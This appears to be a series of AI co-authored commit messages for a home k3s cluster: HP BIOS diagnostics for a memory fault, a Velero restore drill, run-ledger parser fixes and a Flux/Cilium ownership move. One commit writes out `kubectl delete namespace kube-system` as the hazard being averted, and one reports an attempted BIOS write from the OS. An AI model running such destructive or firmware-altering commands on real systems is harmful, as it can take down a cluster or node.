I recorded that the hp-bioscfg attributes were 'writable from the OS' because current_value
has mode rw and no BIOS passwords are set. That was WRONG, and the firmware said so when the
write was actually attempted:
hp_bioscfg: Returned error 0x4, "Invalid command type" (surfaces as printf: I/O error)
HP requires BIOS-admin authentication for programmatic changes and neither credential is
provisioned on these nodes — Setup Password is_enabled=0 (role bios-admin), SPM
key_mechanism=not provisioned. Secure Boot is also enabled. File mode is not authority; the
firmware is.
What survives the correction, and it is the useful half: READS WORK. Diffing 215 attributes
between node 1 and node 2 is exactly how the drift in §0b was found — nobody spots
'After Power Loss=Power Off' by eye. So the §1 firmware checklist IS machine-CHECKABLE today
with reads alone, and node_health should assert it.
What does NOT survive: machine-ENFORCEABLE. Converging BIOS settings automatically would
require provisioning a BIOS Setup Password on every node — a stored credential that can rewrite
firmware. That is a real security decision and the operator's call, not something to default to.
Consequence for the node-2 memory fault: setting Fast Boot=Disable and After Power Loss=Power On
must be done in F10 on the box. Updated §0b and §1 accordingly.
Serves: R-ENV-03. Task: T-7.1.
Both nodes load the hp-bioscfg driver, exposing 215 BIOS attributes read/write at
/sys/class/firmware-attributes/. No BIOS passwords are set, so they are writable FROM THE OS.
RULED OUT as the cause of node 2's 2.6 GiB limit: firmware inventory is correct (BIOS itself
reports Memory Size=16384 MB); no memory-remap/above-4G attribute exists on this platform at
all; MTRRs are effectively identical with no trim warning; /proc/iomem registers the full
100000000-42f7fffff as System RAM and 127 memory blocks report online.
REAL DIFFERENCES FOUND (node1 works / node2 broken):
After Power Loss Power On / Power Off <- VIOLATES this document's own §1
Fast Boot Disable / Enable <- leading hypothesis
Legacy Boot Options Disable / Enable
TPM Activation Policy F1 to Boot / Allow user to reject
MS+Windows UEFI CA 2023 Enable / Disable
Leading hypothesis: HP Fast Boot reuses CACHED MEMORY-TRAINING DATA rather than retraining each
boot. A DIMM fitted while Fast Boot was on is a plausible route to memory being present,
inventoried, handed to the kernel — and then reserved. It is also the only memory-relevant
setting differing from the working node. NOT TESTED: changing it is a firmware write plus a
reboot and needs operator sanction.
BROADER FINDING for T-7.1: the §1 firmware checklist is now MACHINE-CHECKABLE rather than an
eyeball-at-F10 exercise, and machine-ENFORCEABLE too. That is precisely how node 2 came to have
After Power Loss=Power Off while node 1 has Power On — nobody could see the drift. Follow-up
recorded: extend node_health to assert the firmware checklist, add a role to converge it.
Raw BIOS dumps deliberately NOT committed — they carry serials, UUIDs and MAC addresses, same
reason node-health artifacts are gitignored. Only the findings are recorded.
Serves: R-ENV-03. Task: T-7.1.
k3s-prod-2 (192.168.2.11) came online 2026-09-01. Enabled in the inventory, baseline package
floor installed, first health run completed. Vaulted become works on it unchanged.
*** OPEN FAULT: the node can only address ~2.6 GiB of a healthy, correctly-installed 16 GB
DIMM. *** Recorded in PROD-PROVISIONING §0b.
dmidecode 16 GB Samsung M471A2K43DB1-CTD in DIMM1 @ 2667 MT/s (DIMM3 empty)
BIOS e820 reports ~16 GiB usable, incl. 0x100000000-0x42f7fffff
kernel Memory: 2568544K/16546088K available (13958980K RESERVED)
last_pfn revised DOWN 0x42f800 (~16.7 GiB) -> 0xc3c10 (~3.06 GiB) in early boot
zones Normal present 3340288 pages (~12.7 GiB) but MANAGED 0
MemTotal 2,753,284 kB = 2.6 GiB
The DIMM is NOT the problem: it is present, correctly identified, and at rated speed. The
kernel sees all 16 GB and then reserves 13.3 GiB. Everything below ~3 GiB usable, everything
above 4 GiB present-but-unmanaged — the signature of memory remapping above 4 GB not being
applied, not of failing memory. Node 1 is the control: identical chassis, identical BIOS R21
Ver. 02.26.00, identical CPU, and it addresses its full 31 GiB. Per-machine state, not a
firmware-version defect.
WARNING RECORDED: do NOT assume the incoming 32 GB fixes this. If the fault is the slot, the
board or a BIOS setting rather than the DIMM, 32 GB presents identically and the money is
wasted. Verify MemTotal after any RAM change.
ALSO FOUND — the prod nodes are NOT hardware-symmetric:
node 1 Micron C400 512GB SATA SSD (~2011) — 69% life, 15 grown bad blocks, 187 erase
failures, 32 unexpected power losses
node 2 Samsung PM9A1 512GB NVMe — 96% life, 2142 power-on hours, 34 unexpected
power losses, overall-health PASSED
Same chassis, same BIOS, same CPU, same partition layout — very different storage. §2 requires
an identical disk layout across all three nodes because Longhorn replica placement assumes
symmetry, so this asymmetry is now a live input to the disk decision rather than a footnote.
Node 2's NVMe is the drive node 1 should have had.
Node 2 otherwise: 0 FAIL / 3 WARN / 12 PASS / 2 SKIP. Same three WARNs as node 1 (swap still
active pending full baseline, single IPv4 resolver, and the NVMe's 34 unexpected power losses),
plus the same unknowable-ECC SKIP.
Serves: R-ENV-01, R-ENV-03, R-OBS-04. Task: T-7.1.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The second requirement ever proven on this project, and the one the operator had attested
was working but the suite could not attest to. Test authored 2026-08-31 carrying a
`conformance.home.k3s/never-executed` annotation; executed for the first time tonight.
test dr-restore run 20260902T001846Z-fdc3265
req R-STATE-03 (safety-critical, DR) junit passed / 0 failed / 0 skipped
sentinel DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK proof proven
sha fdc3265 (clean tree) kube v1.36.4+k3s1
WHAT IT ACTUALLY PROVED, in three steps:
1. The backup target is genuinely OFF-CLUSTER. BSL velero/default phase=Available at
http://192.168.1.9:9000 — endpoint resolved and asserted to be none of: loopback, any
node Internal/ExternalIP, any Service ClusterIP, any Pod IP, inside any node podCIDR, or
inside any ServiceCIDR.
2. Backups are SCHEDULED, not merely possible — velero-daily and
velero-daily-resources-only, both phase=Enabled, last run 2026-09-01T03:00:27Z.
3. The drill: seed a nanosecond-unique canary onto a longhorn PVC; Velero Backup to
Completed with a kopia PodVolumeBackup carrying a real snapshotID (volume DATA reached
the remote repository, not just resource JSON); ANNIHILATE the source — delete the
namespace, poll until gone, force-delete the PV, FAIL if the original PV survived;
Restore into a clean namespace; assert the restored PVC bound a DIFFERENT PV and the
canary bytes are byte-identical.
The bytes could only have come from outside the cluster.
VALIDATES THE PARSER FIX FROM 57d4df8. This log contains SEVEN occurrences of
DR_RESTORE_SKIPPED_OK — every one of them inside a `=== COMMAND` script echo — and the pass
token twice in real `=== STDOUT`. Under the pre-fix scanner this genuine pass would have been
recorded as `skipped`, exactly as node-loss was. The section-parsing rule is doing real work,
not theoretical work.
CLEANUP VERIFIED against a pre-run baseline: Velero backups back to 7 (its own
chainsaw-*-dr-backup deleted via DeleteBackupRequest), 0 chainsaw backups, 0 restores, 0
orphan Released/Available PVs, both scratch namespaces gone, 13/13 Kustomizations Ready, 0
pods not Running. It wrote into and cleaned out of the SAME bucket and kopia repository the
live nightly schedule uses, and left it as it found it.
SEPARATE FINDING, cleaned up: `chainsaw-stable-worm` was still Active from 2026-08-25 —
empty residue from an earlier conformance session that never tore its namespace down. Deleted.
Worth knowing that Chainsaw namespace leaks can outlive a run by a week unnoticed.
NOT proven by this test, stated in its own header rather than implied: off-HOST DR (the dev
nodes are VMs on the same Proxmox host as the S3 target, so this does not survive hypervisor
loss); no direct S3 client read; real service data (Nextcloud/Gitea/CNPG drills remain
operator exercises); bare-metal rebuild DR; encryption-at-rest; retention/GC.
Serves: R-STATE-03, R-TEST-03, R-TEST-05.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Committing the first PROVEN row immediately degraded it to `stale-proof`. Cause: a
self-defeating loop.
`IMPL_EXCLUDE_PREFIXES` excluded `conformance/tests/` and `ci/tests/` but NOT
`conformance/runs/`. The ledger and the preserved run logs CONTAIN the requirement IDs they
are evidence FOR — `ledger.jsonl` literally holds `"requirements":["R-STATE-02"]` — so they
were scanned as IMPLEMENTING evidence for R-STATE-02. That made `last_change` for the
requirement move to the ledger commit itself, which the row's `git_sha` necessarily predates,
so the freshness check failed.
The consequence was total, not marginal: **recording a proof destroyed it, so NO ledger row
could ever have been non-stale.** The ledger would have reported `PROVEN: 0 (stale N)` forever
while looking like it was working — the same shape of silent-uselessness as the COMMAND-echo
bug in the previous commit, and found the same way: by actually running the thing and
disbelieving a green-looking result.
Fix: exclude `conformance/runs/`. The ledger is the proof RECORD; it must not participate in
the freshness computation about itself.
Verified: `PROVEN: 1 (stale 0, self-skipped 0, failed 0, unknown 0) from 1 ledger row(s)`;
R-STATE-02 reads **proven**. status.py --selftest PASS. The staleness machinery is otherwise
untouched — a genuinely stale row (impl changed after the run) still degrades, which the
selftest continues to assert.
Serves: R-TEST-01..04.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Records the first requirement this project has ever PROVEN, in the only sense its own
definition of done accepts: a green, requirement-tagged, reproducible behaviour test,
executed against a real cluster, with the evidence committed.
test node-loss run 20260901T235117Z-e9a4b66
req R-STATE-02 (safety-critical) junit passed
sentinel NODE_LOSS_VOLUME_AVAILABLE_OK proof proven
sha 57d4df8 (clean tree) kube v1.36.4+k3s1
What actually ran: seed a 3-replica longhorn volume, cordon the node the writer landed on,
evict only its own pod, assert the volume stays available and a reader on another node
re-attaches and reads the data back. 131s. It deliberately does NOT drain, so kubelet and
the etcd member stay up and quorum is never touched — which is what retired the old
'defer node-loss to a maintenance window' reason as unfounded rather than by fiat.
Recorded against the clean tree of the preceding commit so git_sha resolves and the
freshness check passes. The test was NOT re-run for this: the preserved run.log is the
evidence, and re-running would have proved the parser rather than preserving the run.
Serves: R-STATE-02, R-TEST-03, R-TEST-05.
The run ledger mis-classified the FIRST real L3 execution — a genuine PASS recorded as
`skipped`. Diagnosis, from the preserved log, section-classified:
line 51 COMMAND echo NODE_LOSS_SKIPPED_OK <- script SOURCE
line 190 STDOUT NODE_LOSS_VOLUME_AVAILABLE_OK <- the only REAL emission
Chainsaw echoes each script into a `=== COMMAND` block before running it, and every
skip-gated test contains `echo <TEST>_SKIPPED_OK` as source text. record_run.py scanned the
raw log without distinguishing sections, so it matched the skip token in the echo.
NODE_LOSS_SKIPPED_OK never appeared in output at all.
SEVERITY: since every skip-gated test embeds its own skip token as source, and skip outranks
pass, THE LEDGER COULD NEVER HAVE RECORDED `proven` FOR ANY TEST WITH A SKIP GATE. It would
have silently recorded nothing forever while appearing to work. It failed CLOSED — the right
direction — but a ledger that always fails closed is an expensive way to write "unknown".
FIX: classify_sections() splits the log on indented `=== NAME` markers (a section runs to the
first non-blank line indented LESS than its marker). Verified against the real log's actual
markers, including that Go's column-0 `=== RUN/PAUSE/CONT` lines carry a test name and must
never open a section. Then:
PASS tokens are read from STDOUT ONLY — exactly where Chainsaw's own contains($stdout,…)
looks, so a source echo or stderr can never manufacture a proof.
SKIP tokens are read from every section that is NOT COMMAND, so an unknown future section
name fails closed in BOTH directions.
Lines outside any section prove nothing — this also closes a second false-positive vector:
a FAILING Chainsaw run prints the assertion expression, which contains both tokens.
A log with no markers is scanned whole exactly as before (such logs have no COMMAND echo).
SECOND BUG, same root: _LOG_HEADER_RE never matched a real Chainsaw log — the lines are
` l.go:52: <BS>| 23:51:18 | <ANSI>node-loss<ANSI> | …`, not `| … |`. EVERY genuine run was
silently falling into DEGRADED whole-log mode. Now strips ANSI/backspace noise first and
accepts the Go source prefix, so runs attribute per-testcase as designed.
Safety properties re-asserted, not assumed: skip still beats pass WITHIN real output; unknown
layers still require a sentinel; JUnit failed/error/skipped still outrank everything; missing
JUnit or log still exits 3. Negative control: with scan_texts forced section-blind in a
throwaway copy, exactly the new cases fail — they do catch this bug.
Includes the preserved run directory 20260901T235117Z-e9a4b66 (report.junit.xml + run.log)
for R-STATE-02 / node-loss — 131s, cordon -> evict -> volume stayed available -> reader
re-attached -> clean teardown, the first L3 fault-injection test ever executed on this
cluster. The ledger row is recorded in the FOLLOWING commit, deliberately: git_sha is sampled
at record time and a dirty tree records `-dirty`, which is unresolvable and correctly degrades
to stale-proof. Recording against this clean commit is the honest way to get a resolvable sha
— NOT a --git-sha override, which would be a lever for recording a clean sha over a dirty
tree and was deliberately not added.
Serves: R-TEST-01..04, R-STATE-02.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
status.py has always reported PROVEN: 0 for all 51 requirements, and named the fix in its
own header: "a committed, machine-readable run ledger". There was none — _artifacts/ is
gitignored, the root .gitignore kills *.junit.xml, and a stray JUnit was surfaced only as
a quarantined mtime advisory. Built BEFORE the first real L3 execution so that run is
captured rather than reconstructed from memory.
THE TRAP THIS EXISTS TO AVOID. These tests exit 0 and Chainsaw records `passed` on a
SELF-SKIP exactly as on a real run, and Chainsaw's JUnit carries no stdout — only
properties. So committing the JUnit as proof would let DR_RESTORE_SKIPPED_OK be recorded
as proof of R-STATE-03: authoritative-looking and wrong, which is worse than no ledger.
The sentinel token is the ONLY thing distinguishing proven from skipped, and it lives
solely in the run log. The ledger therefore records the LOG alongside the JUnit and
derives proof from the sentinel, never from the JUnit result.
Sentinel tokens are DERIVED, not hand-listed: record_run.py parses every
contains($stdout,'TOKEN') out of each test's own chainsaw-test.yaml, so the list cannot
drift from the tests. 23 of 35 tests declare no sentinel at all.
decide() is the single place `proven` is emitted, ordered WORST-FIRST:
JUnit failure/error -> failed
JUnit <skipped/> -> junit-skipped
ANY declared skip token in the log -> skipped (beats a green JUnit AND beats a pass
token present in the same log)
no sentinel declared -> proven ONLY for L0/L1 (whose JUnit is truthful on its own, since
run_l1_offline.py maps exit 3 to <skipped/>); written as an
explicit exempt-set so an unknown/blank layer fails CLOSED
EVERY declared pass token present -> proven
otherwise -> unknown-sentinel-absent
Log attribution is a state machine over Chainsaw's per-test headers; a log with no
recognisable header falls back to whole-log scanning restricted to GLOBALLY-UNIQUE tokens,
so DNS_OK (owned by two tests) can never prove either. record_run.py exits 3 if the JUnit
or the log is missing — nothing recorded, never green.
STALENESS: a proven row is honoured only while `git merge-base --is-ancestor` holds
between the requirement's last implementing/test change and the row's git_sha; otherwise
it degrades to stale-proof. A -dirty sha, an unknown rev, or an uncommitted test path all
fail ancestry the same way. A requirement reads proven only when EVERY verifying test
does (worst-of), and the latest row per test wins — not best-ever.
REFUSAL POSTURE PRESERVED: with an empty ledger the report is unchanged in intent — every
requirement not-derivable, headline "PROVEN: 0 — NOT DERIVABLE". This replaces "not
derivable" with real evidence only where evidence exists, never with optimism.
--record is explicit, never implicit (a run that silently records itself is how a bad run
becomes permanent false proof), is rejected for --status/--coverage-only/--lint, and
re-execs under tee returning ${PIPESTATUS[0]} so recording can never soften a gate. It
rm -f's a stale _artifacts/report.junit.xml first — a hazard hit live during development,
where a stale JUnit got paired with a fresh log.
Selftests: record_run.py 23 checks (incl. end-to-end Chainsaw-passed + NODE_LOSS_SKIPPED_OK
-> proof "skipped"), status.py +16 against a throwaway git repo (self-skip -> skipped;
proven-at-older-sha -> stale-proof; dirty/unresolvable -> stale-proof; worst-of;
latest-row-wins; malformed lines dropped). No regressions: --coverage-only, --status,
--lint, --strict-coverage and the merge-gate shape all rc=0 and unchanged; nothing in ci/
references status.py.
Root .gitignore needed no change — conformance/runs/ is not itself excluded, so the deeper
negations override the root's global *.junit.xml. Verified with git check-ignore.
Serves: R-TEST-01, R-TEST-02, R-TEST-03, R-TEST-04.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Closes the transition opened in merge 1 (63f98aa). `prune: true` is restored on the
`platform` Kustomization now that the ownership transfer is VERIFIED on the live cluster,
not merely expected:
13/13 Kustomizations Ready, `cilium` among them, at main@sha1:23aa2854
Namespace/kube-system label kustomize.toolkit.fluxcd.io/name = cilium
HelmRelease/cilium label ... = cilium
HelmRepository/cilium label ... = cilium
platform inventory: 0 entries matching kube-system__Namespace | kube-system_cilium_*
cilium inventory: exactly those three objects
Cilium pods UNCHANGED from the pre-merge baseline —
cilium-2f8h8 r=0 2026-09-01T05:55:27Z
cilium-425m8 r=1 2026-08-30T13:25:10Z
cilium-54cww r=0 2026-09-01T05:55:26Z
HelmRelease still v11
So the relabel deterministically preceded any prune, exactly as the revision-gated
dependsOn edge predicted, and the ownership move cost zero pod restarts.
The in-file comment now records the lesson rather than the temporary state: before moving
ANY platform/* component in future, check whether it is the sole declarer of a shared
Namespace. platform/cilium/namespace.yaml was the only declaration of Namespace/kube-system
under ./platform, which would have turned a component-scoped prune into
`delete namespace kube-system` — taking coredns, metrics-server, local-path and Cilium.
L0 substitution gate: 103 assertions, 0 hazards.
Serves: R-PLAT-01, R-GITOPS-01.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Cilium was one of ~12 components inside a single `platform` Kustomization with wait:true,
so the CNI's health was indistinguishable from eleven unrelated components in the tier's
Ready condition, and the only emergency valve was freezing the whole platform tier. This
repo already set the precedent in reverse (oauth2-proxy and headlamp were split OUT so
unhealthy leaves would not gate a tier); Cilium is the mirror image — the one component
that legitimately SHOULD gate everything.
New clusters/base/cilium.yaml: path ./platform/cilium, wait:true, prune:true, interval 1h
(a CNI does not need a 10m re-render cadence; kustomize-controller is source-triggered so
a push still reconciles immediately — the interval is only the drift-correction floor),
timeout 10m (a 3-node DaemonSet rollout with wait exceeds the 5m default),
dependsOn:[flux-system], and postBuild.substituteFrom: cluster-vars — the last is
LOAD-BEARING, not decorative: helmrelease.yaml references ${K3S_API_HOST} and
kustomize-controller now runs --feature-gates=StrictPostBuildSubstitutions=true, so
without it this Kustomization would fail immediately.
*** THE HAZARD WAS FAR WORSE THAN "the CNI gets pruned" ***
platform/cilium/namespace.yaml is the ONLY declaration of Namespace/kube-system anywhere
under ./platform, and the live object carries kustomize.toolkit.fluxcd.io/name=platform.
With prune:true, the moment ./platform/cilium leaves platform's path the stale set is not
"the Cilium HelmRelease" — it is `kubectl delete namespace kube-system`, taking coredns,
metrics-server, local-path AND Cilium. A full cluster kill, not a CNI kill.
TWO INDEPENDENT PROTECTIONS, deliberately not trusting either alone:
1. prune:false on `platform` for this transition merge — Flux's documented Procedure 1 for
moving resources between Kustomizations. Chosen over the per-resource
`kustomize.toolkit.fluxcd.io/prune: disabled` annotation because that needs THREE merges
and leaves the new Kustomization owning resources it can never prune.
2. The pruner's own owner-label filter. In v1.4.0, prune() passes Inclusions:
GetOwnerLabels(obj.Name...), so platform only deletes objects whose LIVE labels still
say name=platform. The new cilium Kustomization relabels all three to name=cilium on
apply, and platform.dependsOn:[cilium] is REVISION-GATED, so platform provably cannot
reconcile revision N until cilium has APPLIED revision N. The relabel deterministically
precedes the prune.
Protection 2 alone would probably have sufficed. Not betting kube-system on "probably".
NOTED FOR THE FUTURE, in-file: anyone moving a platform/* component must first check
whether it is the sole declarer of a shared Namespace — that turns a component-scoped
prune into a cluster-scoped one.
Verified: `kubectl kustomize platform` goes 88 -> 85 documents, 3 removed / 0 added /
0 CHANGED, and `kubectl kustomize platform/cilium` reproduces those 3 byte-identical
(sha256-matched). A pure ownership move; no Cilium value touched. L0 substitution gate
103 assertions (was 102), new cilium row, 0 hazards. Server-side dry-run against the live
cluster accepted both CRs. clusters/prod renders clean off the same base.
MERGE 2 (restore prune:true) follows only after verifying: 13/13 Ready; kube-system, the
HelmRelease and the HelmRepository all relabelled to name=cilium; platform's inventory no
longer lists them; and Cilium pod ages/restarts UNCHANGED from
cilium-2f8h8 r=0 2026-09-01T05:55:27Z / cilium-425m8 r=1 2026-08-30T13:25:10Z /
cilium-54cww r=0 2026-09-01T05:55:26Z, HelmRelease v11.
Serves: R-PLAT-01, R-GITOPS-01.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Two bugs stacked and the outer one hid the inner. Fixing the dead OIDC guard made the
block execute for the first time in these apps' deployed lifetime, which immediately
exposed a latent defect: the hook's last statement was `[ cond ] && action`, so on the
SUCCESS path it returned 1 and became the hook's exit status — and a non-zero postStart
exit makes the kubelet kill the container.
Records the pattern for the next PM: fixing dead code is not a safe no-op. It is the first
execution of never-tested code and deserves the caution of new code, not of a
one-character escape.
Also records what is verified live (Cilium maxUnavailable applied with pod ages UNCHANGED,
proving nothing rolled), and that strict substitution is committed but NOT ACTIVE — it
needs bootstrap.sh step 1 because the controllers sit outside Flux's inventory.
LIVE REGRESSION, caught on the reconcile after merging #5. nextcloud went
CrashLoopBackOff with FailedPostStartHook, 7 restarts, and apps-wave-1/2 stalled.
ROOT CAUSE — a latent bug that could never fire until now. The final statement of
nextcloud's postStart script was:
[ "$p" -ge 15 ] && nextcloud_oidc_fail "could not promote ... after retries"
On the SUCCESS path (p < 15) the test returns 1, and as the script's LAST command that
becomes the hook's exit status. A non-zero postStart exit makes the kubelet KILL the
container. This was harmless for as long as the OIDC guard above it was dead code that
exited 0 first (see 3484955) — fixing that guard made the block execute for the first
time in these apps' deployed lifetime, and the bug fired immediately.
That is the honest sequence: the previous commit did not introduce this defect, it
UNCOVERED it. Two bugs stacked, and the outer one hid the inner one.
FIX: convert to a plain `if`, then `exit 0` explicitly, with a comment recording why.
Also made gitea's hook explicit. Its last statement already returned 0 on both paths, so
it was correct by accident of ordering; leaving one hook implicitly-safe and one
explicitly-safe invites exactly this class back. Both now end with an unconditional
`exit 0`, and both say why in-file.
Every failure path in both hooks still logs loudly to stderr AND writes a marker file on
the persistent volume, and deliberately does NOT crash the pod — the break-glass local
admin must stay usable. That contract is now actually honoured; before, the success path
was the one that crashed.
Fixed in catalog/ (the ServiceDefinitions are the source of truth) and goldens
regenerated; render==golden green, renderer selftest PASS.
Serves: R-IDP-02, R-IDP-06, R-GITOPS-02.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Operator decisions, 2026-09-01:
1. Prod uses the SAME SOPS age key as dev.
2. Prod tracks the SAME BRANCH as dev (`main`). Dev is a temporary instance and will be
decommissioned once prod is deemed stable.
SOPS: eight `decryption: {provider: sops, secretRef: sops-age}` patches mirroring dev
exactly — platform, apps-wave-0/1/2, oauth2-proxy, headlamp, crafty, velero. The sops-age
Secret is still created OUT OF BAND on prod (bootstrap/sops/install-age-key.sh); the
overlay references it by name only, never inlines key material.
RECORDED CONSEQUENCE of the shared branch: once prod is live, EVERY MERGE TO main
RECONCILES BOTH CLUSTERS. There is no promotion step and no soak window — dev and prod
move together. That is a deliberate consequence of dev being temporary, not an oversight,
but it removes the "prove it on dev first" safety net that the last few days have leaned
on heavily. Worth revisiting if dev outlives its expected life.
*** BOOTSTRAP BLOCKER recorded, NOT papered over *** — the source URL cannot work on a
cold prod cluster, for two independent reasons found while wiring this:
1. SELF-HOSTING CIRCULARITY. Gitea runs ON THE DEV CLUSTER — the one slated for
decommission. Prod syncing from it means prod's source of truth lives inside the
cluster being retired. Gitea must move to prod (or off-cluster) BEFORE dev is torn
down. This makes Gitea migration the FIRST task of the decommission plan, not the last.
2. SPLIT-HORIZON DNS SENDS IT TO THE WRONG PLACE. platform/coredns/coredns-custom.yaml
answers the ENTIRE home.keithjackson.dev zone with ${GATEWAY_VIP} via a template
plugin. On prod that is 192.168.2.20 — PROD's own gateway, where no Gitea listens. Prod
Flux would resolve gitea.home.keithjackson.dev to itself and never reach a repository.
This is the same split-horizon mechanism that makes dev work, inverted against us.
Bring-up therefore needs a TEMPORARY source (the bootstrap host-Gitea, or an off-cluster
mirror) with a cutover to the in-cluster URL once Gitea actually runs on prod — precisely
the sequence docs/05 describes for dev's own Phase-6 cutover. The branch is settled and
correct; only the host is blocked. Documented at the patch site and in
PROD-PROVISIONING.md §7.
Gate: MERGE GATE: PASS.
Serves: R-SEC-01, R-GITOPS-01, R-ENV-02, R-ENV-03. Task: T-7.1.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
P0 — clusters/base/platform.yaml gains `dependsOn: [flux-system]`. This is the actual fix
for the incident, not the feature gate. Verified against kustomize-controller v1.4.0
`kustomization_controller.go :: checkDependencies` (our version): dependsOn is REVISION-
gated, not merely Ready-gated — when the dependency shares a GitRepository, the dependent
cannot reconcile revision N until the dependency has APPLIED revision N. Applying revision
N is exactly what writes a newly-added cluster-vars knob.
Graph verified mechanically, not by eye: built clusters/dev and clusters/prod and walked
the resulting objects. `platform` was the ONLY Kustomization without a dependsOn, and all
11 substituting Kustomizations chain transitively through it (platform-config -> platform;
the waves, apps-vms, oauth2-proxy, headlamp, homepage, crafty, velero -> platform-config).
The "not chaining through platform" set is EMPTY, so this one edge protects the whole
graph. DFS over the full edge set after the edit: no cycles. The root (clusters/dev/
sync.yaml) runs wait: false, which is what makes the edge deadlock-free — it reaches Ready
on apply success without health-gating its children.
Accepted trade-off, documented in-file: the root becomes a gate. A malformed manifest
anywhere under clusters/<env> — including clusters/base — now stalls platform and
everything downstream, where today it would not. Fail-closed, per doctrine.
P1 — StrictPostBuildSubstitutions. MY PREMISE WAS WRONG about where this belongs and it
matters: this repo deliberately does NOT use `flux bootstrap` (see bootstrap/flux/README).
There is no gotk-components.yaml in git, and the live kustomize-controller Deployment
carries NO Flux ownership labels — it was installed imperatively by `flux install` from
bootstrap.sh and is not in Flux's inventory. `flux-system` self-manages the CR graph, NOT
the controllers. Nothing under clusters/** can reach a controller flag.
So it uses Flux's documented mechanism for hand-installed clusters: a new
bootstrap/flux/components/kustomization.yaml wrapping `gotk-components.yaml` with a
JSON-6902 patch appending --feature-gates=StrictPostBuildSubstitutions=true to
kustomize-controller. JSON-6902 `add /args/-` deliberately, NOT strategic merge — a
container's args is atomic and a merge patch would replace all five install-generated
args. bootstrap.sh step 1 now renders (`flux install --export` into a temp dir, apply the
patch, ASSERT the gate string is present so a future Flux bump that breaks the patch
target fails loudly) then applies. FLUX_INSTALL_PLAIN=1 is a loud escape hatch. Nothing is
vendored, so components can never drift from the pinned FLUX_VERSION.
Rejected: vendoring gotk-components.yaml under the root's path (the root's prune: true
would put Flux's own controllers and CRDs in a prune inventory), and shipping a partial
Deployment as a Flux-managed resource (a future prune would delete kustomize-controller).
ROLLOUT ORDER MATTERS. P0 arrives automatically on the next reconcile. P1 does NOT arrive
on a git push — the controller Deployment is outside Flux's inventory, so an operator must
re-run bootstrap.sh step 1, which restarts kustomize-controller (~10-20s; Flux is
level-triggered so an interrupted reconcile is simply retried). P0 must be reconciled
BEFORE P1 is rolled out: with the gate on but the ordering edge absent, the same race
turns a transient empty render into a transient hard Kustomization failure.
ALSO FIXES A PHASE-7 BLOCKER THIS CHANGE WOULD OTHERWISE HAVE CREATED. clusters/prod had
no root Kustomization — dev/sync.yaml even carried the note "a prod overlay needs its own
sync.yaml -> ./clusters/prod". With the new dependsOn, a prod bootstrap would have left
platform blocked forever on a flux-system Kustomization that does not exist, and nothing
downstream would ever reconcile. clusters/prod/sync.yaml is now authored, mirroring dev.
Two further prod-overlay gaps found and DOCUMENTED, not guessed (PROD-PROVISIONING §7):
prod has no SOPS `decryption` patch (every encrypted Secret would fail to decrypt — needs
the prod age-key decision, a security choice not a copy), and no GitRepository source URL
patch (needs a decision on whether prod tracks the same branch as dev, which would make a
dev-facing merge reconcile prod).
Substitution gate re-run: check OK, 102 assertions, 0 hazards. Gate: MERGE GATE: PASS.
Serves: R-ENV-02, R-GITOPS-01, R-PLAT-01, R-ENV-03.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
During the substitution incident a bad render (k8sServiceHost: "") took down TWO of three
Cilium agents simultaneously. The agents' `config` init container falls back to the API
ClusterIP, which only the Cilium agent itself can translate — and that agent is the one
being replaced — so it deadlocks on `dial tcp 10.43.0.1:443: i/o timeout`.
Root cause of the 2-at-once: `updateStrategy.rollingUpdate.maxUnavailable: 2` is the
UPSTREAM CHART DEFAULT, confirmed by downloading cilium-1.20.1.tgz and reading
values.yaml:437-444 — not a local choice, and not overridden anywhere in this repo.
maxUnavailable: 1 makes a rollout replace ONE agent at a time and stop at the first pod
that fails to become Ready. The whole value of the setting is that the rollout halts on
the first bad node instead of taking the majority of the dataplane with it, and that
guarantee only exists at 1. It matters far more on a cold PROD bootstrap, where there is
no healthy peer to recover from — dev only self-healed because k3s-dev-3 kept a working
agent throughout.
Set as a [parity] field in ALL THREE places, per this repo's documented contract that the
Ansible bootstrap values and the Flux HelmRelease values must agree on settings that
define cluster networking (Ansible installs Cilium at bootstrap; the HelmRelease adopts
it; the two layers fight otherwise):
platform/cilium/helmrelease.yaml (authoritative for Flux)
infra/ansible/roles/cilium/templates/cilium-values.yaml.j2 (authoritative for bootstrap)
platform/cilium/values.yaml (reference mirror, kept in sync)
Verified by rendering the .j2 with roles/cilium/defaults and diffing full value sets: every
[parity] field is byte-equal across all three; only k8sServiceHost differs, as designed
(${K3S_API_HOST} vs {{ k3s_api_host }}).
MERGING THIS IS NON-DISRUPTIVE. updateStrategy lives at DaemonSet.spec.updateStrategy — a
SIBLING of spec.template (chart daemonset.yaml:49-53). The DaemonSet controller decides a
pod is out of date by hashing spec.template alone, so the pod-template hash does not move,
no new ControllerRevision is created, and zero pods are recreated. Helm patches the field
in place. (If it were disruptive it would be self-defeating: rolling agents under the old
maxUnavailable: 2 in order to install maxUnavailable: 1.) Verify after reconcile with
`kubectl -n kube-system get ds cilium -o jsonpath='{.spec.updateStrategy.rollingUpdate.maxUnavailable}'`
plus unchanged pod ages — that is the cleanest proof nothing rolled.
Trade-off recorded in the comments: upgrades serialise, roughly two waves to three at 3
nodes (a minute or two). On a large cluster this becomes painful and a percentage such as
"10%" would be right — noted so a future larger cluster revisits it deliberately.
SCOPE: this bounds blast radius, it does NOT close the substitution race. A bad render
still ships; it now breaks one node and stalls rather than taking the majority.
platform.dependsOn: [flux-system] (P0) is the fix for the cause.
Serves: R-PLAT-01, R-NET-01.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Records three parallel research passes and, importantly, TWO CORRECTIONS.
Correction 1 (mine): StrictPostBuildSubstitutions alone is INSUFFICIENT — it fixes nothing
about ordering. The actual fix is one line: platform.dependsOn: [flux-system]. Verified
against kustomization_controller.go::checkDependencies at our exact version — dependsOn is
REVISION-gated, not merely Ready-gated, so a dependent sharing a GitRepository cannot
reconcile revision N until the dependency has APPLIED revision N.
Correction 2 (a research agent's): the claim that Helm considered the bad release healthy,
